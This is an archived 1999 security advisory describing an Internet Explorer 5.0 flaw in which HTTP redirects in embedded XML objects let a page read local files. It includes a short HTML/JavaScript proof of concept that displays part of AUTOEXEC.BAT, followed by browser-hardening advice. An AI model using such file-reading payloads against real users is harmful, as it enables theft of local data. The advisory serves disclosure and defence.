IE5 XML Redirects - 22 Nov 1999

IE5 XML Redirect
Reported November 22, 1999 by
Georgio Guninski
VERSIONS EFFECTED
  • Internet Explorer 5.0

DESCRIPTION

According to Georgio"s bulletin, "Internet Explorer 5.0 under Windows 95 and WinNT 4.0 (and perhaps other versions) has a security problem with HTTP redirects in XML objects. This allows at least the following actions:

  1. Reading any (local or nonlocal) XML file and any wellformed documents. With the growing influence of XML I consider this a serious problem.
  2. Reading parts of documents
  3. Checking for the existence of local files.
    I suppose reading of arbitrary files (not just XML) is also possible, but I do not have the time to explore.

When someone embeds an XML document within an HTML document, IE 5.0 does not handle the HTTP redirects properly, allowing access to the domain of the embeded XML document."

DEMONSTRATION

<object id="xm" type="text/xml"
  data="http://www.nat.bg/~joro/reject.cgi?autoexec" width=400 height=200>
</object>
<SCRIPT>
function f()
\{
   s=xm.body.innerHTML;
   a=window.open();
  //alert(s);
  a.document.open();
  a.document.write("Here is a part of AUTOEXEC.BAT (the error message is normal):<BR>"+s);
  a.document.close();
  \}
setTimeout("f()",5000);
</SCRIPT>

DEFENSE

To guard against the risks presented in this bulletin, be sure to adjust control of ActiveX Scripting, Controls, and Plugins on your IE5 Browser. To do so, choose the Tools menu, select Options, and then click the Security tab. On the dialog, choose the Internet zone, and click the Custom Level button, which opens a new dialog. On the new dialog, scroll through the list and adjust all ActiveX properties to either "Disable" or "Prompt." Keep in mind that if you set these controls to "Prompt," you may experience a large number of prompts on the screen while surfing the Internet. If the prompts become a bother, simply readjust the ActiveX properties to "Disable."

VENDOR RESPONSE

Microsoft is aware of this problem, however the vendor comment is known at the time of this writing.

CREDITS
Discovered by Georgio Guninski

Posted here at NTSecurity.net on November 22, 1999
Hide comments

Comments

  • Allowed HTML tags: <em> <strong> <blockquote> <br> <p>

Plain text

  • No HTML tags allowed.
  • Web page addresses and e-mail addresses turn into links automatically.
  • Lines and paragraphs break automatically.
Publish